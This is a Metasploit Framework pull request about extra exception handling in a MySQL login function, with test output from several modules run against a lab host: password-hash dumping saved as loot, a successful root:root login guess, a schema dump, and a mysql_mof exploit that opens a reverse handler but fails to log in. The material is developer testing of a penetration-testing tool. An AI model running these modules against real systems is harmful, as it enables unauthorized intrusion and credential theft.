rapid7/metasploit-framework — pull request #1260 by wchen-r7 (2013-01-07 23:26:27+00:00)
Title: Mysql login exceptions

This add more exception handling for the mysql_login function. Related to the following ticket:
http://dev.metasploit.com/redmine/issues/7668

Tested on the following:

Demo for mysql_hashdump:

msf auxiliary(mysql_hashdump) > run

[+] Saving HashString as Loot: root:*[----------------Removed---------------]
[+] Saving HashString as Loot: root:*[----------------Removed---------------]
[+] Saving HashString as Loot: root:*[----------------Removed---------------]
[+] Saving HashString as Loot: debian-sys-maint:*[----------------Removed---------------]
[*] Hash Table has been saved: /Users/sinn3r/.msf4/loot/20130107161618_default_10.0.1.22_mysql.hashes_135309.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Demo for mysql_login:

msf auxiliary(mysql_login) > run

[*] 10.0.1.22:3306 MYSQL - Found remote MySQL version 5.1.66
[*] 10.0.1.22:3306 MYSQL - [1/1] - Trying username:'root' with password:'root'
[+] 10.0.1.22:3306 - SUCCESSFUL LOGIN 'root' : 'root'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Demo for mysql_schemadump:

msf auxiliary(mysql_schemadump) > run

[*] Schema stored in: /Users/sinn3r/.msf4/loot/20130107161907_default_10.0.1.22_mysql_schema_185685.txt
[+] MySQL Server Schema
Host: 10.0.1.22
Port: 3306
====================

--- []

Demo for mysql_mof:

msf exploit(mysql_mof) > exploit

[*] Started reverse handler on 10.0.1.3:4444
[*] 10.0.1.10:3306 - Attempting to login as 'sa:blah'
[-] Access denied
[*] Exploit completed, but no session was created.